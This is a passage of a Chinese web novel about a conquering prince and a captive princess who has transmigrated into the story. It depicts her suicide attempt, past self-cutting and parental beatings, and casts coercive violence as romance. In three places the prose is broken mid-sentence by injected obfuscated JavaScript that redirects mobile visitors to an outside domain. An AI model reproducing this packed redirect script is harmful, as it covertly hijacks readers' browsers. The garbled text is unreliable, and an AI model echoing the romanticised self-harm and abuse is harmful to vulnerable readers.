他当即想到一个人。 果然,卫大娘一见他便立马跪了下来,“王上,柳夫人她不好了!” 4. 求死 拎着在席间没心没肺吃喝的范卢风回到主帐时,沈雍怎么也没想到看见的会是这样一幕。 一截皓腕在床沿垂落,涓涓鲜血顺着她的手掌缓缓滴落,竟在塌边汇聚成了一滩不大不小的血泊。 范卢风也震惊不已,医者的本能促使他飞一般冲了上去,迅速按住她的伤口、抬高她的手臂,以此减少血流。 什么男女大防,通通被他抛诸脑后。 “怎么会这样!” 他几乎是朝外用吼的,“快去我帐中拿药箱来!” 沈雍立在不远不近的地方,眉头紧皱,眼眶泛红,下意识将拳头握得很紧,任谁都能察觉到他的超低气压。 卫大娘惶恐不已,不停磕头,瑟瑟发抖。 “今夜庆功,属下瞧着柳夫人安然睡去,便去伙食营搭把手,方才忙完回来一瞧,万万没想到会发生这样的事,王上恕罪啊!” 她在军中的伙食营做事,身材壮硕,不做伙头兵也能当男子用,是军中唯一的女子,也是主将尉迟丰的亲娘。 沈雍平日里统军便颇为严苛,不遵律令者皆会受到重罚。她心里清楚,若是榻上那位真出了事情,尉迟丰母亲这层身份也保不住她。 一时间,她的内心惶惶,只盼范卢风能如愿捡回她一条命才好。 沈雍的目光死死盯住榻上的柳忆春,对卫大娘的言辞不置可否。一时间,周遭死一般地沉静,帐内只有范卢风重重的叹气声。 似是反应过来什么,范卢风转头对沈雍说:“还是劳烦王上来帮柳夫人按压伤口、抬高手臂吧,她须得快快止血才行。” 沈雍依言而动,入手的手腕细瘦冰凉,血却是热乎黏腻的。 叮—— 范卢风起身,用了些力,将柳忆春右手紧握的碎瓷片抽出扔在一旁。 想起方才见到她左手层层叠叠的划伤,他只觉触目惊心,一个娇生惯养的公主缘何有这么强烈的死志? 在等待药箱的间隙之中,他不自觉地侧头看向沈雍。 沈雍的面色也很臭,沉得快拧出水来,烛火照着他的侧颜,宛若地狱修罗。 他也看清了她左腕的伤口,也不知她是抱了多强烈的求死之心,才会这样在腕上划开一道又一道口子,以至于血肉模糊。 沈雍缓缓吐出一口浊气,目光一直没有移开过柳忆春的脸。 本就生得雪白的一个人儿,如今只能用惨白来形容,就连小巧的唇瓣都一丝血色也无。 她双眼紧闭,白墙般的脸上透着不正常的红晕,高热正在吸食她仅剩的生命力。 然而最令他无法移开目光的是她的唇角,那里居然扬着一抹诡异的笑—— 像是解脱,像是期待。 就这么想死吗? 沈雍的眼神暗了暗。 不,她就算要死也只能死在他手里,自戕,他绝对不会让她如愿。 当年之事,他不从她口中听到一个解释决不罢休! 帐外传来一阵急促的脚步声,“报——王上,军医,药箱来了!” 范卢风快步接过,沈雍略一颔首,那小兵便退了出去,而卫大娘仍瑟缩地跪在原地。 倒是范卢风唤她,“卫大娘,过来搭把手吧,帮我拿盏灯来,靠近些。” 她悄悄看了眼沈雍,见他冷着脸却没说什么,便依言上前去,“是。” 柳忆春的伤口里还有些细碎的碎瓷渣子,范卢风一点点帮她挑出来,又快速给她上了止血的药,对沈雍递过干净的纱布,让他继续按压止血。 剩下的,就是慢慢等血止住了。 沈雍似是不经意地看一眼卫大娘,“她哪来的瓷片?” 他的语气还算平静,卫大娘却不敢怠慢,放下了烛台连忙跪下回话。 “属下的错,柳夫人高烧不退,嘴唇干涩起皮,属下用水帮她润了润唇瓣,便将水碗放在床头了,没想到会酿成这样的大祸。” “属下以后定当谨记,再也不敢了,还求王上从轻发落!” 沈雍未做多余的表情,只说话的语气又变冷了些。 “伙食营的差事暂时不必再去,本王不在她身边的时候,你须得与她寸步不离,若是再发生这样的事情,拿你是问。” 说着,沈雍斜眼瞥她一眼,卫大娘连连磕头,“谢王上不杀之恩,属下定当竭尽全力保证柳夫人安全。” “去打些水来吧。”沈雍收回目光,“再去城中买几套女子衣物回来。” “是。” 卫大娘迅速离开了主帐。 室内只剩沈雍三人,他仍在为柳忆春紧紧按着出血的伤口,掌下的手腕似乎怎么也捂不热。 他再难掩饰自己的担心,玉面微微偏向范卢风。 “救得回来吗?” 范卢风从方才起,就除了叹气就是叹气,闻言也只是轻叹。 “难说啊...今日她本就被你折腾得不轻,几乎只剩一口气,如今她又给自己补了一刀,再身强力壮的人失这么多血都少不了受罪,更不用说她这副破败身子...” 沈雍听着,下颌紧了紧。 “救活她。”语气不容置喙。 范卢风面色一怔,随即发出一声怪异的轻笑,“王上究竟是想让她活,还是让她死呢?” 沈雍倏地转头,目光紧紧攫住他,范卢风却继续说着。 “若是想让她死,不若现在就别救了。我知道您恨透了那老皇帝,也恨透了当年作为帮凶的公主,如今老皇帝都被你剁碎了喂狗去,公主也已经遭了那么多难,不若也放她去吧?” 范卢风看着沈雍额角暴跳、下颌紧咬的样子,明白他心里恐怕也不好受,全不似看起来那般云淡风轻。 真是冤孽啊... 他叹一口气复又开口,“若是您想她活呢,那可得费一番劲了。就算咱这次把她救回来了,下次呢?” “她若是自己不想活,没人能救得了她啊。” 沈雍蓦地移开了视线,范卢风觉得他应该听懂了。 他不知这位公主为何如此想不开,只能猜测是与沈雍有关。 也许,她不想往后余生都在他手底下日复一日地受折磨,所以求个痛快,也许,还有别的什么原因...... 但不管怎么说,是他把人搞成这个样子的,如今若想彻底救活公主,免不了要他费点心思。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533780|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >范卢风视线下垂,落到沈雍大掌紧握的那截细白腕子上。 青筋凸起的宽掌、雪白柔韧的细腕,再加上鲜红血迹,视觉冲击强烈的一幕就这么印在了他脑子里,形成了他对沈雍与柳忆春二人关系的印象底色。 “王上,可以松开来看看血是否止住了。” 沈雍依言动作,宽大有力的手掌松得很慢,而后又用另一只手将她左腕托起,动作轻得像是怕她下一刻就碎了。 “你来看看。” 范卢风瞧了眼,心下大定,可算是能保住一条命了。 他将药粉和干净纱布递给沈雍,“您为她上药包扎一下吧,接下来,就看柳夫人能不能挺得过高热了。” 察觉到沈雍不虞的目光,范卢风不耐烦地数落。 “唉,也不看看她身上有多少伤口,没把她立刻疼死都不错了,不发高热才不正常!” “您要是想稳妥些,等会儿可以再为她上一遍软红膏,或者给她擦擦冷水把热给散了。” 折腾一番,范卢风也累了,不顾沈雍的反应,率先溜了。 走了两步,他又忍不住操心唠叨,背着药箱回头望他,“今晚柳夫人可不适合再挪动了,我知道你还有很多帐子可以休息,你走,比让她走更合适,记得了不?” 沈雍为柳忆春包扎完毕,闻言轻轻瞥向范卢风,语气淡淡,“嗯。” 范卢风知道他是个听劝的,终于彻底离开主帐。 不多时,卫大娘端着水盆进来。 沈雍听见动静,淡声吩咐,“下去吧,今晚本王来守着她。” 卫大娘快速看他一眼,小心翼翼地行礼,“是。” 榻边的血泊已被清扫干净,沈雍拧干帕子一点点轻轻为她擦去指间血迹。 她的手掌很小,细嫩顺滑,像一块软玉,他的手可以轻易将它完全包裹住。 指节均匀,细瘦修长,深宫里十指不沾阳春水的娇养公主,合该有这么一双好看的手。 这样干净细白的手,不该沾上这么多鲜血,即使是她自己的。 沈雍忆及方才范卢风的话,打算再为她的伤口上一次药。 身下的伤倒是好办,很容易就能为她上药,倒是她背部拖行出来的大片擦伤,让他有些犯难。 她如今怎么看都是一个濒临破碎的瓷娃娃,他不敢轻易挪动,一时间有些不知从何下手。 思忖片刻,他解了她身上被卫大娘换上的粗布衣,轻轻将她翻身向右侧躺,又将她的左腕仔细搭在面上,这才让背部与臀部的伤口露出来。 他自小习武,指腹粗粝,按在这羊脂玉般的肌肤上都怕给她划伤了去,于是抹药的手只能放轻,再放轻。 一切收拾完毕,沈雍再次将目光落到她惨白的脸上,乌发雪肤的公主正双目紧闭。 就这么想死吗? 还是说,是因为见识到了他的手段,所以干脆求个痛快? 既如此,当初何必要做出那等助纣为虐的事情? 金尊玉贵的小公主可知,那一次贻误军机,大越朝枉死了多少将士,而随后的那场流放,沈家又有多少无辜的人因之丧命? ...... 5. 旧梦 不知为何,沈雍一直无法忘记那一晚。 越帝五十寿诞,宫中大举设宴,王公贵族们与一众高官皆得了旨意,入宫共贺吾皇万岁。 他便也与父亲一同去赴这场宫宴。 沈家乃开国功勋,彼时得了太宗皇帝的恩典,镇国公爵位世代相袭,永享尊荣。 到了如今,沈家已与这个王朝一同绵延了两百余年,每一代皆有杰出英才出世,无不成为朝中肱骨栋梁。 沈雍作为镇国公府世子,是沈家子里最耀眼的一位,不仅仪表堂堂、为人谦逊,还文武兼备、样样精通。 这样一位芝兰玉树、如圭如璋的年轻郎君,自是该受到全京城年轻女郎瞩目的,可他却一直被父亲扔在边关军营里历练,直到这次皇帝寿诞将近才初初回京。 漫步在华灯浓彩的宫殿之中,他只觉步入了新奇的、美轮美奂的人间仙境——边关的风沙足以将一切鲜活都吹得灰扑扑的,这里完全是另一个极端。 也正是在这一晚,传言中最受皇上珍爱的懿春公主献舞祝寿。 惊鸿一舞,吸引了所有人惊艳的目光。 清冷瑶光之下,少女的身姿看似柔韧实则有力,既舞出了独属于女子的柔美,抬眸挥袖间又分明舞出了大越朝盛世万千。 公主有着皇家的底气,合该这般,一人便能舞出万千恢宏气势。 十八岁的少年,第一次被漫天风沙以外的东西迷了眼去。 席间之人无不赞叹,皇上也龙颜大悦,赐下重赏。 沈雍坐在不远不近的位置上,不自觉将她的一颦一笑、一举一动深深刻在了脑海里,甚至在她退场之后还鬼使神差悄悄跟了上去。 宫苑之中,奇石异木层层叠叠、幽深曲折。 沈雍循着她的身影而去,然而千岩万转路不定,他怎么也追不上那抹缥缈如月宫仙娥一般的倩影。 他越找越焦急,越走速度越快。 终于,在一棵早春的樱花树下追上了她。 美人如花隔云端,她面色冷淡,冷若冰霜,与方才献舞时含蓄而热烈的模样全不相同。 她看了他一眼,忽然从云端跌落。 华美的舞服开始破碎,鬓发一点点变得混乱,颈上显现出一道青紫的淤痕,身下也渐渐渗出鲜血。 仙娥堕入泥淖,玉人渐渐碎裂。 而不远处,落了一把剑柄染血的长剑... 沈雍脑袋一点,猛然惊醒。 他怎么又梦到了那场久远的宫宴? 帐内长灯未尽,滴漏声声,夜还很深。 他靠坐在不远处的桌案前,抬头望向榻上之人。 却见她已经醒了,与他方才梦中结尾的样子一模一样。 但他不确定她此时是否清醒,因她只微张了些眼,面无表情。 玉人长睫卷翘,时而缓慢颤动一下,在灯影下洒下一片阴影,沈雍与她无声对视良久。 谁都没有旁的动作。 半晌,沈雍起身向她走去,她的眼睛也随着仰视他而完全睁开了来。 空茫。 这是沈雍看清她双眼后的第一印象。 他躬身探了探她额上的帕子,一言不发地将它重新用冷水打湿覆上去。 而她就这么静静看着他的动作。 紧接着,沈雍端过案几上的水碗,神态如常地在塌边坐下,舀了一勺水递到她唇边。 她却没有半点要张嘴喝的意思,像一具只有眼珠子能微微转动的人偶。 沈雍却看不下去她因高烧而开裂的唇,见她不动作,面上有些挂不住,伸手捏住她的双颊,终于如愿将勺中的水倒进檀口。 却见下一瞬榻上的女人猛烈咳嗽起来,身体不受控的抖动,连带着伤口也随之裂开。 空气中又传来淡淡的血腥味。 沈雍愣了一瞬,连忙将她扶起靠在自己怀里。 他本想帮她顺气,又怕给她背部的擦伤造成二次伤害,他想扶她再坐直些,又怕压坏了她身下的伤口。 一时间,他只好用胳膊施力,让她半坐着,另一只手则稳稳护住她缠着绷带的左腕。 他做错了,不该那样逼她。 帐中咳嗽声渐歇,大口喘息却仍在延续,沈雍轻轻让她平躺下去。 “为什么?”是非常微弱的气声。 他偏头看去,她的双眸因方才的咳嗽染上了些水色,终于看起来明亮了些。 他缓缓收回撑在她颈侧的手,重新在塌边坐直,居高临下地看着她。 “什么为什么?” “不是要杀我?为什么又救我?” 依然是很小声的气流,若不是此时恰逢夜深人静,沈雍恐怕非得将耳朵覆在她的唇边才能听清。 闻言,沈雍偏开了些目光,“生杀夺予,皆在于我。” 他复又与她对视,“我要你生便生,要你死便死,哪来什么为什么。” 如果没看错,他说完后在她眼里看到了一丝生无可恋,她又问: “那你什么时候让我去死?” 沈雍不说话了,竟还想着死吗? “为何这般想死?” 柳忆春不说话了,她有些恼火。 这个长得人模人样的傻大个,不知道脑子是不是有什么毛病,明明摆了一副要把她折磨死的架势,却又总是给她留有一线,她不介意主动将自己仅剩的生机断送掉,他却又把她救活了。 真特么就是和她对着干。 没死成,反而拖着这幅痛得她睡不着的破烂身子,柳忆春非常非常非常不高兴。 沈雍将她不经意流露出的厌烦尽收眼底,面色瞬间绷得很紧。 他捏住她的双颊,要她与他直视,“回答我。” 柳忆春浑身都软绵绵的,只能顺着力道撞进他黝黑深邃的眼睛。 强大的气场几乎令她窒息,柳忆春开口却道: “关你屁事,看不惯我就杀了我。” 许是这话过于糙,许是她的语气过于冷,沈雍一瞬间愣在原地,面上表情几乎破裂。 这是公主能说出的话吗?她竟敢这么和他说话! 怒火猛地窜起,又被他瞬间按下。 ——她在激怒他,她还是想求一死。 他偏不如她意! 沈雍怒极反笑,握住她双颊的手用力了些,俯身拉进与她的距离,再开口时语气森冷。 “我有的是办法让你生不如死。” 此刻若是熟悉沈雍的人在场,定已被他这幅样子吓得屁滚尿流。 因为很明显,他是真的怒了。而惹他生气的下场一向是没人承受得起的,不想死的人无不立刻拼命找补、跪地求饶。 柳忆春却似已力竭,对他的话无动于衷不说,还径直闭上了眼睛,一副要杀要剐任君随意的头铁模样。 沈雍闻着越来越重的血腥味,见她这幅油盐不进的样子,终是松开了对她脸颊的钳制。 指腹上仍留有她滚烫的体温,他冷着脸为她换掉左腕上的纱布,在确保她没有力气离开这方床榻、周围也没有任何危险物品后,快步转身离去。 罢了,不与这烧糊涂的人计较,待她清醒,他要她重新好好与他说话。 柳忆春却在他离开的脚步声中渐渐睁开了眼。 有意思,又要她受折磨,又舍不得她死,亲手把她伤了还上赶着亲自来照顾她。 这是男版冷脸洗内裤文学? 她突然有些好奇,她究竟穿了个什么身份来了。 然而不待她细想,枯竭的体力便让她再次陷入昏睡。 再睁开眼时,天色已大亮。 远处传来将士操练的模糊口号,她休息的帐中被衬得格外安静。 柳忆春只敢浅浅呼吸,因为动作幅度稍微一大就会牵扯到浑身上下的伤口,疼痛便会立刻争前恐后地去撕扯她的神经。 从前,她虽然也曾经沉迷于刀划开皮肉的瞬间剧烈疼痛到眩晕、浑身迸出冷汗的感觉,但从没有过一次将自己弄得这般伤痕累累。 痛感成百上千倍地向她袭来,快要将她淹没,她忽然觉得也许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533781|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不需要再主动寻死,就这么躺着等着被痛死也不是没有可能。 果然,最惨的还是想死却没死成。 周遭没有人,柳忆春抬动右手,缓缓钻进衣襟,抚向自己的肚子。 熟悉的疤痕没有了。 看来她是魂穿。 啧,老天爷当真“待她不薄”,才刚有了一副新的身体就又被搞得破破烂烂的。 柳忆春百无聊赖地想,另一个时空的她是不是已经死了呢?他们现在发现她的尸体了吗? 会看到她肚子上那些狰狞的疤痕吗,又会对此做出什么反应呢? 开始自伤,是在高二下学期。 彼时她的爸爸妈妈,哦,姑且称他们为爸爸妈妈吧,虽然更准确的说法是“柳忆春的创造者”。 她的爸爸妈妈盯她的学习盯得比以往都紧,快要升高三了,人生中最关键的一年,他们不允许她有丝毫懈怠。 大到模考、月考,小到每一周的作业,他们都会挨个翻看,指指她错的地方,又指着她鼻子骂。 ——他们一点也看不懂题,但能看懂红色的勾勾叉叉和分数。 “这种小错误也犯,以后怎么考重大大学啊!要不是看你快高三了,怕影响你状态,早就收拾你了!” 嗯,收拾这个词很准确,他们的行为与其说是教育,不如说是泄愤。 他们恨自己没本事,被别人看不起,每天只能靠很辛苦的体力活挣钱,也惶恐于她作为女儿没法达到他们的期望,带着他们跨越阶级。 所以,只要她犯一点错,就会被收拾。 “我们辛辛苦苦挣的都是血汗钱,就为了供你读书,你不争气,怎么对得起我们啊!” 每次这种时候,她就会赶紧跑去做作业,没有也要硬做。 因为,走晚了的话,他们越说越上头,最终的结果只会是一个—— 按着她打。 很奇怪,好像别人家的父母都是一个打一个劝,但她家里却是一个打一个帮。 最开始她总是哭得撕心裂肺,后来惊动了邻居,爸爸妈妈赔着笑脸解释说她不小心摔了,还让她当面和邻居解释。 自那以后,他们要打她总会让一个人按住她、堵住她的嘴。 发泄完了,又抱着她哭。 “爸爸妈妈是爱你的呀,我们这么做都是为你好,不想让你以后和我们一样这么苦,我们已经把最好的都给你了,你一定一定要争气啊。” 的确,家里最好的房间给了她,饭桌上的肉也都是她的。 他们确实把最好的都给了她。 她好像除了拼命学习将一家三口带出泥潭外,没有任何别的选择。 于是她总是学得很认真,也习惯了拳打脚踢带来的痛。 可他们突然开始不打她了,她很不习惯。 疼痛让她意识模糊,却也能让她清醒。 她的灵魂平日里很贪玩,一不留神就不知道飞到哪里去了,只有痛的时候能把它唤回来,只有痛的时候她才感觉能完全掌控自己身体。 很不习惯,那就自己动手吧。 最开始,是用指甲掐。 到后来,是用小刀划。 她精心挑选过位置,手臂和腿不行,她爱穿短袖短裤,露出来总有人要问。 后面不行,她看不到,也不方便上药。 前面的话,一低头,她看到了自己的肚子,那就这里吧... 反正她不穿露脐装,除了她自己,没人能看到。 工作后,肚子上的划痕越来越多,她习惯了用这种方式把灵魂唤回来,哪怕只有一小会儿,也足够让她积攒起下一段日子正常生活的力气。 而她每次感到快没力气的时候,都会下意识抚向肚子上交错的疤痕,看有没有这个运气不用刀划就能将灵魂唤回来,这样就不用麻烦地准备药和纱布了。 但现在,那些划痕都没有了,真不习惯。 帐外传来脚步声,一道敦实的声音也随之传来—— “哎呀,柳夫人醒啦?” 6. 疑惑 卫大娘掀帘而入,带来了药和早饭。 看见柳忆春在榻上滴溜溜转着眼睛,她放下东西快步上前对她行礼,“柳夫人安,属下是军中伙食营的,这些日子由我来照顾您,您跟着大家伙叫我卫大娘就行。” 纷繁的思绪落地,柳忆春被她倒豆子一般的话吸引了过去,只见是一个肩膀厚实、身材壮硕的中年女子。 一看就气血充足,很有生命力,她很喜欢。 柳忆春白着张脸,对她虚弱一笑。 她不动作还好,这一笑之后,她居然从卫大娘眼里看出了明晃晃的惊艳。 柳忆春有些好奇,重伤至此、蓬头垢面都只需微微一笑就能让人惊艳的容貌,究竟是什么样子的? “有镜子吗?”一开口,咽喉剧痛,嗓音也沙哑无比,后三个字不得不用回气音。 卫大娘爽朗一笑,“这个东西啊,军中可没有。柳夫人是想梳妆吗?这个可不用着急,您呀,先把伤好好养起来,再来打扮也不迟呢!” 她也是怕了,只求她别再寻死才是。 “来,我来扶您起来吃些东西?快一天没吃东西了吧,受着伤呢,可得多吃点东西才能好得快。” 案几上的食物传来阵阵清香,柳忆春早就闻到了,这会儿听她一说,才突然觉得空荡荡的胃已烧得有些灼痛。 她点了点头,卫大娘便利索地给她背后塞了一床被子,要让她靠得舒服些。毕竟,她现在根本不敢坐起来,不然会让另一处伤雪上加霜。 肚子是饿的,可是尝第一口粥的时候她就不行了。 粥不稀不稠,不冷不热,很适合大口吞咽,不是粥的问题,而是她自己的问题—— 嗓子剧痛,几乎难以吞咽,吃了一口柳忆春便摆了摆手表示拒绝。 这下卫大娘的脸色终于耷拉下来了,伤成这样,还吃不下东西,绝不是好的征兆啊。 “夫人可要喝些水?” 柳忆春依旧摆手。 “我想再睡一会儿。” 可能是因为失血过多,她有些浑身发冷,稍微挪动一下便眼前发黑,方才那通折腾,又把她的体力耗尽了。 卫大娘担忧不已,只好先顺着她的意,让她平躺下来,安心睡去。 这么个娇滴滴的公主,也不知道能不能活哦。 收拾好一切,看了眼柳忆春双目紧闭的脸,卫大娘带着吃食和药碗离开了主帐。 恰逢沈雍练兵归来。 他额上仍有薄汗,看见卫大娘端着几乎原封不动的食物和药碗出来,面上还一脸难色,立马叫住了她。 “她如何了?” 卫大娘吓了一跳,连忙蹲身行礼,“王上恕罪,柳夫人她,似乎不太吃得下东西,现已重新睡下了。” 沈雍闻言眉头紧皱,“怎么回事?” 卫大娘更加战战兢兢,“属下觉着柳夫人应当是想吃东西的,但却只吃了一口就不要了,许是身子不太爽利,属下正准备放下食物去寻范医师来瞧瞧。” 沈雍微微颔首,“去吧,快些。” “是!” 待卫大娘离去,沈雍快步走入主帐,榻上的女子已经再次睡着了。 他走到榻边,轻轻坐下,抬手抚向她的脸颊,依然很烫。 又轻轻触摸她的指尖,从一个指节,到一根手指,从一根手指,到整个手掌,直至完全握入自己的掌中。 脸颊滚烫,手掌却冰冷。 沈雍轻轻拢了拢手掌,试图给冰冷苍白的小手传去一些温度。 一阵脚步声传来,他快速将手撤回,偏头看向帐外来人。 范卢风无需晨练,为人又一向懒散,一大早被薅起来,人还有些懵懵的。 然而,在看到沈雍的眼神时,他瞬间就清醒了过来。 “王上早啊。” 沈雍没什么表情,“过来看看她为何吃不下东西。” 范卢风上前,看了一眼便答,“这还不明显吗?脖子上这么明显的掐痕,你失忆了?” 一阵沉默,范卢风的汗毛比他先察觉到危险气息,瞬间立了起来。 气氛不对,他也只好先按下自己那点起床气。 重重叹了口气道:“颈部被外力重重挤压,咽喉自然会受到损伤,具体会表现在无法出声、难以吞咽。昨日来瞧,还以为公主其他地方重伤了,此处不至于此呢,没想到还是逃不过。” “您将她嘴张开吧,我再来瞧瞧。” 沈雍愣了一瞬,原来,她昨晚也许并非故意忤逆他,而是根本喝不下水。 在范卢风疑惑地看向他之前,他依言张开柳忆春的下颌。 范卢风瞧着,嘴里又开始念叨,“我给她做个药丸,她在嘴里多含含,化了再轻轻咽下即可,过半日应当就可以慢慢吞咽了,再等个三五日,咽喉的损伤应该也可基本恢复。” 说着,他有些无奈地觑沈雍一眼,“这真是跟你行军以来治过最复杂的一个病人了,也没想到会是这么个娇贵的女子。” 沈雍不理会这些絮絮叨叨的废话,只冷声吩咐他,“在她康复之前,每日卯时正来为她诊脉。” 范卢风傻眼了,“这么早!” “沈怀聿,你别忘了医者很费神的,我需要充足的睡眠时辰!” 怀聿是沈雍的字,现今除了范卢风几乎没人这么称呼他了。 他瞥范卢风一眼,并不理会他的哀嚎,“五日之内,我要她恢复到能下地。” 范卢风表情更加破裂,“五日!你还是人吗?你难道忘了自己下手有多重?” 沈雍起身,再不停留,“今日便算第一日。”随即走出了主帐。 范卢风:“......” 得,真是他欠他的。 范卢风咬咬牙,看向榻上神志不清的柳忆春,随即飞一般奔回自己的营帐,开始为柳忆春配新药。 该说不说,适当的压力使人进步,至少柳忆春到了晚间终于能吃下东西了。 沈雍回营,卫大娘便同昨晚一样退下了。 帐中只剩柳忆春和沈雍二人相顾无言。 男人身材魁梧,着有轻甲,微挑的眉,低压的眼,天然地让人不敢直视。 可柳忆春显然不是常人,她此刻虚弱地靠在床头,乌发雪肤,瞳色清浅,正一点点仔细打量沈雍。 之前都没有仔细看过这傻大个,没想到他长得还挺好看的,比好多明星都好看。 剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533782|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉天生微微上扬,轻飘飘斜眼看人时,有很强的压迫感,正如此刻。 鼻梁挺立,轮廓分明,瞳色很深,窄双眼皮,长直睫毛,直视人的时候眼睛格外深邃,让人觉得深不可测,不敢轻易冒犯。 而他嘴唇稍厚、唇色偏深,又无端给他添了些稳重踏实的感觉。 他长得也很高,柳忆春不好预估,但从她的视角看去能肯定的是,他的身材一定很棒,衣袍之下隐约可见结实的肌肉,说不定还有八块腹肌。 沈雍察觉到她视线的流转,眉头皱得更紧。 五年前匆匆一面看不出来,这个亡国公主是不是太大胆了些? 然而下一刻,他面上的所有表情都随着她一句问话破裂—— “你是谁?” 沈雍的目光紧紧攫住榻上的女人,面色如锅底一般黑。 呵,她居然敢问他是谁? 淮阳王沈雍攻入京师的消息早已传遍天下,昨日宫城之中无人不仓惶逃窜,而她分明也明白越朝已到穷途末路,这才举剑自刎,她会不知道他是谁? 他明白,从前不过与她在宫宴密林之中、越帝宫殿之外匆匆打了两个照面,她不记得他的脸,他也认了。 可如今,驻扎皇城之外,手下尊称“王上”之人,除了他沈雍,还能有谁? 她怎能将他无视至此! 他不悦地冷声开口:“懿春公主冰雪聪明,会不知道我是谁?” 然而,榻上的人并没有多余反应。 任他如何用目光逼视、探寻,都只从这双微恹的大眼睛中看到了认真的疑问,甚至没有嘲讽、愤恨。 昨日难道撞到她脑子了吗? 沈雍按捺下心中的不虞和不甘,耐着性子答她,“沈雍,沈怀聿。” “哦。” 晚间用膳的时候卫大娘在她耳边叽叽喳喳不停,一个劲地劝她、逗她开心,生怕她再想不开。 于是她得知了自己的身份,是刚被灭国的最受宠的懿春公主,也得知了他的身份,好巧不巧是打着为民请命的幌子来灭了她国的“天命所归之人”。 不仅如此,她还得知了昨天能找到的皇室成员都被杀了,甚至他们口中的“暴君”,也就是她这身体的便宜爹还被剁碎了喂狗。 这么狠,所以为什么唯独“她”活下来了呢? 当然,她现在破破烂烂地活着还是比不上一刀死了痛快就是了。 她试探地问他是谁,而他只答了自己的名字,是不是说明,他对她的情感,是更加个人的、无关国家大事的? 懿春公主的记忆她半点也没有,她也没有兴趣费劲巴拉地想办法继承身份不露出破绽,大不了就是一死嘛,正好她最想要的就是干脆利落地去死。 她现在就当是在玩。 反正周围的人对她那重视程度,不是会让她随随便便死掉的样子,既然暂时死不掉,那就随心所欲一点咯。 沈雍瞧她沉默,摸不准她如何作想。 是想起来关于他的事情了吗?想起来...曾经作为帮凶害得他家破人亡了吗? 然而,却见她下一瞬抬眼直视他,表情无辜地问出了下一个问题。 “你是不是喜欢我?” 7. 恼羞 听清柳忆春所言,沈雍瞳孔骤缩,面上冷淡矜傲的表情快要维持不住。 柳忆春却缓缓勾出了一抹笑。 这是沈雍第一次见她笑。 一笑百媚生,宛如不食人间烟火的仙子落入凡尘,如果她眼中没有明晃晃的玩味的话。 “除了喜欢我,你还恨着我?” 她怎么敢!怎么敢若无其事地问出这些问题? 她难道真的对自己的所作所为没有半点愧疚吗,当真是没有心! 沈雍气急,羞恼与怒火直冲大脑,俯下身去掐她脖子。 却见她唇角的笑容倏地扩大,甚至还伸长了脖子方便他掐,一副得偿所愿的表情。 他将要施力的手瞬间怔住。 强行下压怒火让他浑身颤抖,连带着掌下她细嫩的肌肤也仿佛在颤动。 不,差点又中了她的计。 她可不就是在找死吗? 气氛僵持不下,柳忆春半阖的双目缓缓睁开,她看见沈雍又恢复了矜贵淡漠的样子,仿佛方才那一瞬间的失控是她的错觉。 脖颈上他的大手依然横亘着,与方才不同的是,松开了些,略带薄茧的指尖怪异又轻柔地摩挲着她的颈侧—— 颈上淤青未消,被他轻轻磨蹭,又疼又痒的感觉让她忍不住浑身发麻。 随着动作,他阴恻恻地开口。 “你想死个痛快,做梦。” “既知我恨你,当然得让你受尽折磨、生不如死才够解恨。” 掌中之人唇角的笑容微收,卷翘的睫毛轻颤,浅淡瞳色与他对视。 眸光清冷,看不出丝毫惧怕。 倒是沈雍,扫了一眼她仍旧泛着青紫的下颌、没有血色的唇瓣后,松开手头也不回地离开了主帐。 身体上的战栗消退,柳忆春心情很好地靠在床头目送他离开。 啧啧啧,叛军头子掳了亡国公主,她嗅到了一股虐恋情深、爱恨交织的味道,偏偏这人还不敢承认爱,只敢承认恨。 有意思,看来以后可以多逗逗他,这样不仅死之前的乐子有了,也许还可以一键达成死亡成就。 这可真是太好了。 人果然还是要随心所欲才能活得畅快啊,她现在的心情就极好。 那些将人驯化成乖巧螺丝钉的教条,不过是上位者为了降低管控成本的手段而已。 如果人人都如她方才那般挑衅作对,那管理起来的难度可就大多了。 可惜,她从前总是那个乖乖遵守规则的人。 ...... 沈军入京后,京城里的高门大族们无一不苦着脸。 城中长枪重甲的士兵一波一波地沿着街道巡逻,拿着名单挨家挨户地统计,看这些盘桓已久的富庶世家们,究竟如何抉择。 归顺,则只需交出一部分田地、粮食;反抗,则让他们尝尝沈军的威力,抄家清算一条龙拿下,皆是除了田地粮食,金银珠宝、产业铺子也都一并拿下。 当然,鲜少有人选择后者,大部分世家都懂得趋利避害,胡家也是其中之一。 胡氏家主胡峯已年逾六十,头发花白,满面沟壑,看着正一担担往外挑的粮,又想到方才给出的一叠地契,不由得重重叹口气。 